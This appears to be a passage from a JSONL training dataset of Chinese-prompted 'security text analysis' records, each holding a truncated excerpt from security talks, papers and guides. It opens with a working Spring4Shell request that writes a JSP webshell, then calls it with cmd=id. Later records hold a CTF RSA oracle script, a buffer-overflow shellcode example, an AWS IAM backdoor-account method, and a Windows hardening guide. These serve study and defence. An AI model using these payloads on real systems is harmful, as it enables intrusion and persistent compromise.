/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ``` ![](1.png) 然后访问刚写入的JSP Webshell执行任意命令 ``` http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id ``` ![](2.png) 注意你需要在利用完成后将`class.module.classLoader.resources.context.parent.pipeline.first.pattern`清空否则每次请求都会写入新的恶意代码在JSP Webshell中导致这个文件变得很大发送如下数据包将其设置为空 ``` GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nfrom crypto_commons.netcat.netcat_commons import nc, send, receive_until_match from crypto_commons.oracle.lsb_oracle import lsb_oracle def oracle(s, payload): send(s, 'l') receive_until_match(s, \"\\:\\>\\>\", None) send(s, str(payload)) send(s, str(1)) send(s, str(1)) data = receive_until_match(s, \"\\:\\>\\>\", None) return \"bit is wrong\" in data def multiplicate(x, e, n): return (pow(2, e, n) * x) % n def main(): url = \"47.75.53.178\" port = 9999 s = nc(url, port) data = receive_until_match(s, \"\\:\\>\\>\", None).split(\"\\n\") e = int(data[1]) n = int(data[2]) print(e, n) send(s, 'r') receive_until_match(s, \"\\:\\>\\>\", None).split(\"\\n\") send(s, 'test') data = receive_until_match(s, \"\\:\\>\\>\", None).split(\"\\n\") ct = int(data[0]) lsb_oracle(ct, lambda x: multiplicate(x, e, n), n, lambda ct: oracle(s,ct)) main()", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHardware Backdooring is practical Jonathan Brossard (Toucan System) DISCLAIMER We are not terrorists . We won't release our PoC backdoor. The x86 architecture is plagued by legacy. Governments know. The rest of the industry : not so much. There is a need to discuss the problems in order to find solutions... This is belived to be order of magnitudes better over existing backdoors/malware Agenda Motivation : state level backdooring ? Coreboot & x86 architecture State of the art in rootkitting, romkitting Introducing Rakshasa Epic evil remote carnal pwnage (of death) Why cryptography (Truecrypt/Bitlocker/TPM) won't save us... Backdooring like a state Could a state (eg : China) backdoor all new computers on earth ? A bit of x86 architecture State of the art, previous work Previous work Early 80s : Brain virus, targets the MBR 80s, 90s : thousands of such viruses 2007, John Heasman (NGS Software) Blackhat US: backdoor EFI bootloader 2009, Anibal Saco and Alfredo Ortega (Core security), CanSecWest : patch/flash a Pheonix-Award Bios 2009, Kleissner, Blackhat US : Stoned bootkit. Bootkit Windows, Truecrypt. Load arbitrary unsigned kernel module. 2010, Kumar and Kumar (HITB Malaysia) : vbootkit bootkitting of Windows 7. Piotr Bania, Konboot : bootkit any Windows (32/64b) 2012 : Snare (Syscan) : EFI rootkitting DEMO : Bootkitting Windows Introducing Rakshasa Goals : create the perfect backdoor Persistant Stealth (virtually undetectable) Portable (OS independant) Remote access, remote updates State level quality : plausible deniability, non attribution Cross network perimeters (firewalls...) Redundancy Rakshasa : design Core components : Coreboot SeaBios iPXE payloads Built on top of free software : portability, non attribution, cheap dev (~4 weeks of work), really hard to detect (without false positives). Payload : Reverse Engineered/Refactored konboot payload (2 days of work). Rakshasa Flash the BIOS (Coreboot + PCI roms such as iPXE) Flash the", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Secure-Win

- `windows 加固+维护+应急响应参考` --- ## 大纲 * **[文件](#文件)** * [可疑文件](#可疑文件) * **[系统](#系统)** * [开机启动](#开机启动) * [账号](#账号) * [进程](#进程) * [注册表](#注册表) * [日志](#日志) * [系统日志](#系统日志) * [日志工具](#日志工具) * [第三方程序日志](#第三方程序日志) * **[网络](#网络)** * [端口](#端口) * [RDP](#rdp) * [DNS](#dns) * [windows系统共享](#windows系统共享) * **[防御密码抓取](#防御密码抓取)** * **[防御Responder欺骗](#防御-responder-欺骗)** * **[阻止非 PPL 进程修改 PPL 进程的 token](#阻止非-ppl-进程修改-ppl-进程的-token)** --- ## 文件 ### 可疑文件 - 回收站 - 浏览器下载目录 - 浏览器历史记录 **最近文件** 开始-运行输入 `%UserProfile%\\Recent` - `C:\\Documents and Settings\\Administrator\\Recent` - `C:\\Documents and Settings\\Default User\\Recent` 查看指定时间范围包括上传文件夹的访问请求 ``` findstr /s /m /I UploadFiles *.log ``` **临时文件** - `c:\\windows\\temp\\` --- ## 系统 开启组策略编辑器 `gpedit.msc` 控制面板: win 输入 `control` **信息** 系统信息: cmd 输入 `systeminfo` ### 开机启动 开始-运行输入 `msconfig` - `(ProfilePath)\\Start Menu\\Programs\\Startup` **注册表项** 在 cmd 下使用 ``` REG query HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run REG query HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce REG query HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\Run REG query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run REG query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce REG query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunonceEx ``` **服务自启动** 开始-运行输入 `services.msc` **计划任务** - `C:\\Windows\\System32\\Tasks\\` - `C:\\Windows\\SysWOW64\\Tasks\\` - `C:\\Windows\\tasks\\` 开始-运行输入 `taskschd.msc` - **cmd 下使用** ``` schtasks ``` ### 账号 开始-运行输入 `lusrmgr.msc` **cmd 下使用** - `net user` : 显示用户账号信息 - `wmic UserAccount get` : 列出当前系统所有账户 **注册表项** ``` REG query HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users ``` **查看用户目录** 新建账号会在以下目录生成一个用户目录查看是否有新建用户目录 - Window 2003 : `C:\\Documents and Settings` - Window 2008R2 : `C:\\Users\\` **查看服务器是否存在隐藏账号克隆账号** 可以使用 D 盾工具其集成了对克隆账号检测的功能 **加固** - Micr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDo you like to read? I know how to take over your Kindle with an e-book Slava Makkaveev How popular is Amazon Kindle? 10th Generation Kindle Oasis Kindle Paperwhite Kindle 9th Generation Kindle Oasis 8th Generation Kindle Oasis Kindle 7th Generation Kindle Voyage Kindle Paperwhite Kindle 6th Generation Kindle Paperwhite The 11th Generation is on the way 5th Generation Kindle Paperwhite Kindle 4th Generation Kindle Touch Kindle 3rd Generation Kindle Keyboard 2nd Generation Kindle DX Kindle 1st Generation Kindle The easiest way to remotely reach a Kindle is through an e-book How to deliver an e-book to my Kindle device? When you are logged into your Amazon account From your browser (Chrome browser extension) From your desktop (PC application) From your Android device (Android application) Without authentication Via USB cable From your email (as an attachment) to xxx@kindle.com The ability to spoof was fixed at the end of 2020 A verification link will be sent to your Amazon account A phishing campaign is the right way to go Dozens of free online libraries are open to everyone Kindle Store Project Gutenberg Open Library The Online Books Page The Literature Network Classic Reader Classic Bookshelf Chest of Books Fiction.us PublicLiterature.org Authorama Bibliomania International Children's Digital Library ... A malware e-book can be easily uploaded Inside the Kindle E-reader How to research a Kindle device? The official source code consists of third-party open source projects with small Amazon tweaks 1) The latest firmware is available for download 2) It is possible to Jailbreak Kindle Touch Architecture Linux OS D-Bus LIPC + app registry Native apps (busybox) JRE Booklets Pillow Java Apps HTML/Javascript Webkit X.org User Interface High-level services Low-level services / system What Kindle components are responsible for parsing e-books? The /usr/bin/scanner service Periodically scans /mnt/us/documents for new files Uses extractor libr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (c) 1990, 1991 The Regents of the University of California. .\\\" All rights reserved. .\\\" .\\\" This code is derived from software contributed to Berkeley by .\\\" Chris Torek and the American National Standards Committee X3, .\\\" on Information Processing Systems. .\\\" .\\\" Redistribution and use in source and binary forms, with or without .\\\" modification, are permitted provided that the following conditions .\\\" are met: .\\\" 1. Redistributions of source code must retain the above copyright .\\\" notice, this list of conditions and the following disclaimer. .\\\" 2. Redistributions in binary form must reproduce the above copyright .\\\" notice, this list of conditions and the following disclaimer in the .\\\" documentation and/or other materials provided with the distribution. .\\\" 3. All advertising materials mentioning features or use of this software .\\\" must display the following acknowledgement: .\\\" This product includes software developed by the University of .\\\" California, Berkeley and its contributors. .\\\" 4. Neither the name of the University nor the names of its contributors .\\\" may be used to endorse or promote products derived from this software .\\\" without specific prior written permission. .\\\" .\\\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\\\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\\\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\\\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\\\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\\\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\\\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\\\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\\\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\\\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\\\" SUCH", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Insecure Randomness ## Summary * [GUID / UUID](#guid--uuid) * [GUID Versions](#guid-versions) * [Tools](#tools) * [References](#references) ## GUID / UUID ### GUID Versions Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx` The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself. | Version | Notes | |----------|--------| | 0 | Only `00000000-0000-0000-0000-000000000000` | | 1 | based on time, or clock sequence | | 2 | reserved in the RFC 4122, but ommitted in many implementations | | 3 | based on a MD5 hash | | 4 | randomly generated | | 5 | based on a SHA1 hash | ### Tools * [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs ```ps1 $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00 UUID version: 1 UUID time: 2022-04-13 08:06:13.202186 UUID timestamp: 138691299732021860 UUID node: 91754721024 UUID MAC address: 00:15:5d:01:ef:00 UUID clock sequence: 2099 $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000 ``` ### References * [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nASM in .NET: The old is new again by Jon McCoy(DigitalBodyGuard) Abstract: This paper will cover running raw Machine Code(ASM) from within .NET. As we all know .NET runs on IL(Intermediate Language) also known as Managed byte code. A program can declare an unsafe section of code and drop out from the managed area to run something like unmanaged C++ or the like. This paper will show how to run raw/unmanaged ASM in a normal safe C# application. The Basics of running ASM under .NET: To run ASM code just make a pointer to your target byte code. The execution point will jump you to the byte code and start executing, no unsafe keyword needed. This method currently requires one call to unmanaged code to allocate memory in code space. The sequence is as follows: Create an allocated space for the ASM byte code Copy the byte code into the allocated space Turn the pointer into a Delegate Run the Delegate Free up the space // make some space for the byte code in code space, so it can be ran IntPtr pointer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)_ASM_Code.Length), AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE); // copy the ASM code into memory(code memory) System.Runtime.InteropServices.Marshal.Copy(_ASM_Code, 0, pointer, _ASM_Code.Length); // build the function pointer to the ASM code(x64)!!!!!!!!!! funPointer ASM_Function = (funPointer)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pointer, typeof(funPointer)); // Run the ASM code ASM_Function(); // free up the ASM code in mem:) VirtualFree(pointer, 0, 0x8000); Complete Class code below This method requires access to VirtualAlloc/VirtualFree from kernel32.dll. This call into kernal32 is possible to block by revoking access to calling unmanaged resources and will only work in windows. The ability to run ASM under .NET with the code I supply can be stopped by removing the ability to call unmannaged assemblies. At the end of this paper, I cover how to setup a p", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### 执行 Shellcode的介绍 shellcode 是一段用于利用软件漏洞而执行的代码shellcode 为16进制之机械码以其经常让攻击者获得 shell 而得名shellcode 常常使用机器语言编写 可在暂存器 eip 溢出后塞入一段可让 CPU 执行的 shellcode 机械码让电脑可以执行攻击者的任意指令在编译时关闭 ASLRNX CANARY 选项这样就可以在输入时把 shellcode 布置在栈中通过动态调试获得所需要的 padding 溢出到返回地址为输入的 shellcode 地址这样程序返回后便会执行 shellcode ### 执行 Shellcode示例 下面给出一个经典例子验证程序溢出后执行 **shellcode**编译的环境为 winxp 工具为 vc6.0 ```c #include #include #define PASSWORD \"1234567\" int verify_password(char *password) { int authenticated; char buffer[50]; authenticated = strcmp(password,PASSWORD); memcpy(buffer,password,strlen(password)); return authenticated; } void main() { int valid_flag =0; char password[1024]; FILE *fp; LoadLibrary(\"user32.dll\"); if (!(fp=fopen(\"password.txt\",\"rw+\"))) { exit(0); } fscanf(fp,\"%s\",password); valid_flag = verify_password(password); if (valid_flag !=0) { printf(\"incorrect password!\\n\\n\"); } else { printf(\"Congratulation! You have passed the verification!\\n\"); } fclose(fp); getchar(); } ``` 编译完成后拖入 OllyDbg 动态调试确定 **padding** 的长度在 **memcpy** 处下一个断点方便随后调试可以先生成50 BYTES 的 padding 比较与返回地址的距离最后确定为60 BYTES 后为返回地址 输入的字符串会被复制到栈中 **0012FAE4** 的位置 因为通过合理的 padding 控制了返回地址到 **0012FAE4**所以在函数返回时寄存器 **EIP** 的值为 **0012FAE4**这时系统会认为栈中的数据为机器码程序就会执行地址为 **0012FAE4** 的代码 **password.txt** 中的内容为精心布置的机器码功能是弹出一个消息框内容为 **hackhack**如何编写 **password.txt** 中的内容我们放在后面的章节来讲本章着重介绍整个执行流程 如我们所期望的程序返回后执行了弹窗功能", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIndustrial Cybersecurity Landscape in 2020: Trends, Challenges, and Opportunities Dr. Terence Liu VP-GM, Trend Micro and TXOne Networks All product names, logos, and brands are property of their respective owners. All company, product and service names used in this deck are for identification purposes only. Use of these names, logos, and brands does not imply endorsement. START POINT OF THE HEAT OT IT and OT Have Converged IT ERP IIoT ! ! Careless Insider Foiled Conspiracy 1. Launch an DDoS attack against Tesla in order to preoccupy the companys security staff 2. Utilize malware to exfiltrate data for further ransom No wireless, no Bluetooth No connection (ethernet) Physical Isolation (six walls) All software/hardware tested BEFORE installing Data only passed by personal means, USB, CD, DVD == Your business does not need to optimize production Air-gapped OT is actually RARE for modern factories Stuxnet DUQU Shamoon,Flamer, Gauss Havex, Dragonfly BlackEnergy 3 Industroyer Shamoon 2 Triton, Trisis WannaCry,NotPeta, Bad Rabbit VPNFilter LockerGoga,Ekans, DoppelPaymer ColdLock 2010 2011 2012 2013 2014 2015 2016 2017 2017 2018 2019 2020 Critical Infrastructure Manufacturing Threats Paradigm Shift in ICS World Manufacturers could be TARGETED Evolving Cyber Attacks in ICS WannaCry 2017 Non-Targeted attack. Worm propagation. LockerGoga 2019 Targeted attack. File encryption. Snake/EKANS 2020 Targeted attack. File encryption. Detect and encrypt ICS-related files. DoppelPaymer 2020 Targeted attack. File encryption and data exfiltration. Kill OT tasks. Merck, FedEx, Maersk, TSMC, Norsk Hydro, Altran, Hexion, Momentiv Honda, and Enel Argentina PEMEX, and Visser Precision (supplier of Boeing, Tesla, and Lockheed Martin) A focus on ORM or operational resilience management - beyond information-centric cybersecurity is sorely needed, - Gartner A LEAGUE OF THEIR OWN 2015 Ukraine Power Grid Cyber Attack 10 Business Network Internet Control System Network Field Device Network 1.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nGeo Geo--IP Blocking: A sometimes IP Blocking: A sometimes effective Mal effective Mal--ware deterrent ware deterrent DEFCON 13 Presentation July 30, 2005 Agenda Agenda What is Geo-IP Blocking? Why Geo-IP Block? Why not to Geo-IP Block How Geo-IP Blocking works Regional Internet Registries (RIRs) Different Geo-IP Blocking strategies Automation Caveats Presenter AKA Shameless Presenter AKA Shameless Personal Plug Personal Plug Tony Howlett President of Network Security Services, Inc. CISSP, GSNA, CNA, CSSA Author of Open Source Security Tools 17 years of experience building and managing networks What is Geo What is Geo--IP Blocking? IP Blocking? Indiscriminately blocking entire sections of IP addresses related to geographical areas at your firewall or router Spam Statistics Spam Statistics A recent study show that the following countries were the leaders in originating spam USA 42% South Korea 13% China 8% Blocking those two countries alone would take care of 21% of your spam Source: SpamHaus 2005 Why Geo Why Geo--IP Block? IP Block? Quick (within minutes) No Cost (just entries in a router) Avoids almost ALL types of attacks including zero day and unreported exploits (at least those originating from the blocked countries) Easily reversible Users can still access blocked sites outbound Most companies dont need to give the ENTIRE world access to their network. Even Fortune 500 companies can use this for some parts of their network. More Reasons to Geo More Reasons to Geo--IP Block IP Block May become more effective over time as more spam / malware moves offshore May force bad actor countries to crack down on spam / malware China recently announced a crackdown on spam partially due to pressure form ISPs blocking their IP space Types of Types of malware malware Geo Geo--IP can IP can stop stop Spam Email Fraud Phishing Viruses Worms Automated hacking tools Manual hacking (script kiddies) Prohibited website hosted offshore (porn, gambling, etc) Reasons NOT to G", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nExploiting SCADA Systems Jeremy Brown Vulnerability Research Engineer @ Tenable Attack Vectors via Software Vulnerabilities Client-side attacks from web browsers, e-mail, and malicious servers Server-side attacks from the internet or internal network Clickjacking!? So.. whats wrong? Security has been implemented as an add-on instead of being build around the product from the ground up Systems are typically installed for long term, and software upgrades may require new hardware Something somewhere is connected to something that is connected to the Internet Vendors can take their time with updates, and managers may also take their time updating There are a ton of vulnerabilities in SCADA software! Who may find the bugs? Employees Hackers (up to no good) Security Researchers Anyone who cares to look really.. Sploitware A framework designed specifically to penetration test SCADA systems Similar concept to Metasploit or CANVAS, yet focused on SCADA software Can check systems for potentially vulnerable software Exploitation is optional but readily available Methods for identifying vulnerabilities? Manual testing to fuzzing to reverse engineering R&D findings range from RCE to DoS to Integrity Loss DEMO! Recommendations Vendors... Try to break it before you ship it! Clients... Do a security evaluation before you make the purchase. SCADA software can be just as vulnerable as your typical download.com application. Thank you", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nProxyNotShell (疑似) 分析与poc 1. 漏洞原理分析 Exchange 的ProxyNotShell 漏洞已经爆出来挺久了临时缓解措施都已经绕过几轮了但是一直没有 poc放出来也没有明确的漏洞原理泄露前一段时间twitter上有人分享了一些思路可能是 ProxyNotShell 的 ssrf 部分不过热度过去了也没太多人关注所以我把这个思路的poc写了一下和 大家分享一下如果最后不是ProxyNotShell 那就叫它 NotProxyNotShell 吧 首先回忆一下 ProxyShell 的利用链autodiscover 前端端点的 ssrf 漏洞自带 kerberos 认证认证用户 为 NT AUTHORITY\\SYSTEM但是system用户没有对应邮箱要想用这个认证使用后端的端点需要 X-CommonAccessToken 头部字段但是X-CommonAccessToken 不能由用户随意设置会被 autodiscover 前端端点过滤掉好在 PowerShell 的后端端点存在一个 X-Rps-CAT 查询参数可以作为 X-CommonAccessToken 的平替通过在X-Rps-CAT指定一个 伪造的exchange administrator 的 token 我们可以将 NT AUTHORITY\\SYSTEM 的认证降级为 exchange administrator并获得 exchange administrator 的 remote powershell ProxyShell 的补丁将 ssrf 自带的kerberos认证去掉了但是ssrf留了下来现在我们可以带着认证去使 用这个ssrf这样 autodiscover 会根据我们认证的用户生成 X-CommonAccessToken并传递给后端 服务 原本Exchange的 powershell 前端端点只支持 kerberos 认证但通过这个 ssrf 我们可以借助 autodiscover 作为前端端点并可以使用它的 basic 认证ntlm认证 以及其他的认证方式 建立 remote powershell比如下面这样 但如果直接使用这种方式autodiscover 前端会根据我们认证的用户生成 X-CommonAccessToken 并 传递给 PowerShell 后端这样由于我们是以普通用户认证的获得的也会是一个普通用户权限的 remote powershell而且由于 X-CommonAccessToken 的优先级高于 X-Rps-CAT这时也无法通过 X-Rps-CAT 来指定token 那是不是 X-CommonAccessToken 绝对不可能由用户直接指定呢到也不全是看下面的代码 这是 ProxyRequestHandler.AddProtocolSpecificHeadersToServerRequest() 里的一段代码描述了 autodiscover 前端端点是如何决定发送给后端的 X-CommonAccessToken 的 情况一如果用户请求里没有带 X-CommonAccessToken 头部则直接根据认证的用户生成响应的 X- CommonAccessToken如果是匿名用户则生成匿名token 情况二如果用户请求里带了 X-CommonAccessToken 头部首先要确保这个 CommonAccessToken 里指定的用户不能是 System 或 Machine 账户其次要确保我们用来认证的用户必须满足 IsSystemOrTrustedMachineAccount() 函数 IsSystemOrTrustedMachineAccount() 要求用户是 System 或者 name 以 $ 结尾(machine account) 并且具有 TokenSerialization 权限 也就是说直接指定 X-CommonAccessToken 的功能一般由 拥有TokenSerialization权限的machine account 使用以给予它们模拟其他用户的能力 说到这里允许Ntlm认证一个拥有TokenSerialization权限的machine account 我们应该可以想到 通过 Ntlm relay Exchagne Server 的machine account 来模拟/降级 出Exchagne administrator 的 remote powershell由于现在不允许 Ntlm relay 到发出认证请求的主机上所以只适用于 多 Exchagne Server 的环境 2. 写 poc 那按照这个思路其实poc也很好写了和 ProxyShell 相似只是多了 Ntlm re", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: 利用 IAM 进行权限维持 ---

利用 IAM 进行权限维持

--- 利用 IAM 进行权限维持的原理也比较简单直接在 IAM 中创建一个拥有高权限的用户即可 例如这里选择添加用户访问类型选择控制台密码

设置权限选择直接附加现有策略策略选择AdministratorAccess即表示附加所有策略

创建完成后会提供自动生成的密码与登录地址使用这个登录地址和密码直接登录即可这时我们就制作好了一个后门账户 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nA SafeBreach Labs research by Itzik Kotler, CTO and co-founder, SafeBreach Amit Klein, VP Security Research, SafeBreach The Adventures of AV and the Leaky Sandbox About Itzik Kotler 15+ years in InfoSec CTO & Co-Founder of Safebreach Presented in RSA, HITB, BlackHat, DEFCON, CCC, http://www.ikotler.org About Amit Klein 26 years in InfoSec VP Security Research Safebreach (2015-Present) 30+ Papers, dozens of advisories against high profile products Presented in BlackHat, HITB, RSA, CertConf, Bluehat, OWASP, AusCERT and more http://www.securitygalore.com The story of the highly-secure enterprise Variant #1: endpoints have restricted Internet access Software update servers (Microsoft Update) AV update/services Variant #2: endpoints have no direct Internet access On-premise update servers On-premise AV management servers Now lets throw in Cloud AV Everybody loves the wisdom of clouds What can possibly go wrong? WHAT IF I TOLD YOU ADDING CLOUD AV CAN DEGRADE THE SECURITY OF THE ENDPOINT Lets degrade the security of the endpoint Assuming highly secure enterprise (=restricted/no direct Internet connection) Were going to use the cloud AV to exfiltrate data from the endpoint Attacker can be anywhere in the Internet Well (ab)use the cloud AV sandbox BUT FIRST RELATED WORK Exfiltration at Large Lots and lots of research on exfiltration techniques, e.g.: Covert Channels in TCP\\IP Protocol Stack by Aleksandra Mileva and Boris Panajotov A survey of covert channels and countermeasures in computer network protocols by Sebastian Zander, Grenville Armitage and Philip Branch Covert timing channels using HTTP Catch Headers by Dennis Kolegov, Oleg Broslavsky and Nikita Oleksov However, all practically assume unrestricted Internet connection Exfiltration from air-gapped endpoints Recent research on a more difficult scenario, e.g.: LED-it-GO Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED by Mordechai Guri, Boris Zadov, Eran Atias", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nversion: \"2\" services: apisix: image: vulhub/apisix:2.9 volumes: - ./apisix.yml:/usr/local/apisix/conf/config.yaml depends_on: - etcd ports: - \"9080:9080\" - \"9091:9091\" - \"9443:9443\" dashboard: image: vulhub/apisix-dashboard:2.9.0 volumes: - ./dashboard.yml:/usr/local/apisix-dashboard/conf/conf.yaml depends_on: - etcd ports: - \"9000:9000\" etcd: image: bitnami/etcd:3.4.15 environment: ETCD_ENABLE_V2: \"true\" ALLOW_NONE_AUTHENTICATION: \"yes\" ETCD_ADVERTISE_CLIENT_URLS: \"http://0.0.0.0:2379\" ETCD_LISTEN_CLIENT_URLS: \"http://0.0.0.0:2379\" ports: - \"2379:2379/tcp\"", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBlowing up the Celly Building Your Own SMS/MMS Fuzzer Brian Gorenc, Manager, Vulnerability Research Matt Molinyawe, Security Researcher Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 2 Agenda Introduction Bug Hunting Testing Environment Live Demonstration Key Takeaways Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Introduction Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 4 whois Brian Gorenc Employer: HP Organization: HP Security Research Zero Day Initiative Responsibilities: Manager, Vulnerability Research Organizing Pwn2Own Hacking Competition Verifying EIP == 0x41414141 Free Time: Endlessly following code paths that dont lead to vulnerabilities Twitter: @MaliciousInput, @thezdi Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 5 whois Matt Molinyawe Employer: HP Organization: HP Security Research Zero Day Initiative Responsibilities: Security Researcher Enjoying funny and awesome proof of concepts Measuring my productivity in hours of YouTube watched Process Janitor Make exploits shine and not crash Calc Connoisseur Free Time: DJ Manila Ice Two time United States Finalist DJ Scratched on 2014 Pwnie nominated song Security Kate Beat Contra using only the laser without death Beat QWOP Martial Arts Twitter: @djmanilaice Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 6 Do-It-Yourself Fuzzing SMS/MMS is an interesting topic Always-on technology Limited in-line defenses Limited update capabilities Every researcher will have a different take on the problem Usually roll their own fuzzer along with mutation logic Aim for this talk is to demonstrate approaches to get st", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHTTPS://WWW.ISECPARTNERS.COM 1/6 ELECTROMECHANICAL PIN CRACKING IMPLEMENTATION AND PRACTICALITY Justin Engler jengler[at]isecpartners[dot]com Paul Vines pvines[at]isecpartners[dot]com iSEC Partners, Inc. 123 Mission Street, Suite 1020 San Francisco, Ca 94105 https://www.isecpartners.com July 8, 2013 Abstract PINs are often used for security on devices with touch-screen or physical keypads. Though other attacks are often available for these targets, in some cases only a brute-force attack is possible. This paper discusses several approaches for physical attacks against these systems and analyzes the practicality of these approaches against common brute-force countermeasures. 1 THE PROBLEM: LOCAL PASSWORDS WITHOUT AN AVAILABLE SOFTWARE OR ELECTRONIC ATTACK. Many devices are secured with passwords. Assuming a password cannot be observed in use or obtained from someone who knows it, possibly the best way to subvert the security of these devices is to attack them at the software level, by either: bypassing the password completely (via a logic flaw, a vulnerability, etc.), resetting the password to a known value, or performing a password-guessing attack without any other security or user interface restrictions (Offline brute-force) Though a more educated password-guessing scheme might also be used (dictionaries, patterns, etc.), for the purposes of this paper we will call all password-guessing attacks brute-force attacks. In some cases, there will be no software-based attack possible. An example might be a mobile device's lock screen. Perhaps no jailbreak or root technique is available, or perhaps other considerations simply prohibit its use (such as forensic evidence requirements or scoping decisions on a security assessment). Other devices, like hardware PIN pads, are also common in this scenario. When software-based attacks are not feasible, the next best attack is an electronic attack: Extract a password or key from the memory of a device via a chip reader or co", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Javatrick之在懵逼中为Random跪下 LxLN 问题 LxLO 解答 LxLO.N 初步解答 LxLO.O 回看问题 LxLP 思考 LxLQ 杂项 LxLS 总结 